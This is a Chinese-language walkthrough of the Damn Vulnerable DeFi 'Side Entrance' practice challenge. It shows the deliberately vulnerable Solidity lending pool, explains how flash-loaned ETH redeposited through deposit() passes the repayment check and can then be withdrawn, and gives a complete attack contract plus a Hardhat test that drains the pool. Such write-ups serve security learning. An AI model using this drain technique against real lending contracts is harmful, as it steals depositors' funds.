Defi黑客系列：Damn Vulnerable DeFi (四) - Side Entrance

题目链接：https://www.damnvulnerabledefi.xyz/challenges/4.html

题目描述：

有一个借贷池合约，允许任何人存入 ETH，并在任何时间点取出。这个借贷池已经有 1000 ETH 余额，并使用存入的 ETH 提供免费闪电贷来推广他们的系统。

你需要做的就是从借贷池中取光所有的 ETH

借贷池合约 SideEntranceLenderPool.sol

Copy
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";

// 使用闪电贷功能的合约接口
interface IFlashLoanEtherReceiver {
function execute() external payable;
}

/**
* @title SideEntranceLenderPool
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract SideEntranceLenderPool {
using Address for address payable;

// 记录地址对应的余额数量
mapping (address => uint256) private balances;

// 存入资金，并记录
function deposit() external payable {
balances[msg.sender] += msg.value;
}

// 提现方法
function withdraw() external {
// 获取调用者的可用余额
uint256 amountToWithdraw = balances[msg.sender];
// 余额置空
balances[msg.sender] = 0;
// 将可用余额从当前合约转到调用者
payable(msg.sender).sendValue(amountToWithdraw);
}

// 闪电贷方法
function flashLoan(uint256 amount) external {
// 获取余额
uint256 balanceBefore = address(this).balance;
require(balanceBefore >= amount, "Not enough ETH in balance");

// 回调使用闪电贷的合约的execute 方法
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

// 确保余额已返还
require(address(this).balance >= balanceBefore, "Flash loan hasn't been paid back");
}
}

该借贷池合约允许存入资金，并供别人免费使用闪电贷功能。

由于该合约提供了 deposit 存入资金的方法，如果将借出的 eth 调用该方法存入，一方面能够满足flashLoan 最后的归还要求，另一方面可以手动调用 withdraw 方法取出余额。

因此我们需要一个攻击合约 SideEntranceAttack.sol

Copy
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "../side-entrance/SideEntranceLenderPool.sol";

contract SideEntranceAttack is IFlashLoanEtherReceiver, Ownable {
using Address for address payable;

// 借贷池合约
SideEntranceLenderPool public pool;

constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
}

// 闪电贷方法
function flashLoan() external onlyOwner {
// 调用借贷池合约的 flashLoan 借出全部余额
pool.flashLoan(address(pool).balance);

// 提取余额，将余额转入该合约
pool.withdraw();
// 将该合约的余额转入攻击者的地址
payable(msg.sender).sendValue(address(this).balance);
}

function execute() external override payable {
require(msg.sender == address(pool), "caller not the pool");
// 将借出的 eth 再次存入
pool.deposit{value: msg.value}();
}

receive () external payable {}
}

攻击步骤：

调用借贷池合约的 flashLoan 方法，借出全部余额

借贷池合约执行回调 - 调用 execute，该方法中调用 deposit 存入借出的 eth 到 借贷池合约

调用借贷池合约的 withdraw ，将存入的 eth 转出到该合约

将合约中的余额转出到攻击者的地址

最后在测试用例 side-entrance.challenge.js 编写我们的执行代码

Copy
it('Exploit', async function () {
// attacker 地址部署攻击合约
const SideEntranceAttackFactory = await ethers.getContractFactory('SideEntranceAttack', attacker)
const sideEntranceReveive = await SideEntranceAttackFactory.deploy(this.pool.address)

await sideEntranceReveive.flashLoan()
})

执行 yarn side-entrance，测试通过！

完整代码